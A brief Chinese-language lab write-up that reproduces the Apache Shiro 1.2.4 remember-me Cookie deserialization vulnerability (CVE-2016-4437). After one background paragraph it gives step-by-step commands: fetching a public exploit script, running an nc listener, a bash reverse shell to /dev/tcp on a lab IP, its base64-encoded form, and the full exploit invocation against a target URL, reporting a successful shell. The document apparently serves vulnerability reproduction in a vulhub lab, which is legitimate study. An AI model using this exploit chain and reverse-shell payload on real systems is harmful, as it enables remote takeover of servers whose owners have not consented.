背景
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
复现过程
1、POC下载
http://github.com/insightglacier/Shiro_exploit.git/
2、Nc监听
nc -lvp 4000
3、编写反弹shell
将如下命令拿到http://www.jackson-t.ca/runtime-exec-payloads.html/网站进行编码,
bash -i >& /dev/tcp/192.168.0.103/4000 0>&1
编码后的反弹shell命令
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzQwMDAgMD4mMQ==}|{base64,-d}|{bash,-i} |

4、反弹shell
使用第一步下载的POC执行如下命令,IP地址为NC监听地址,-p参数为编码后的反弹shell命令。
1 | python shiro_exploit.py -u http://192.168.0.108:8080 -t 3 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzQwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}" |
成功拿到shell

参考链接
http://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437/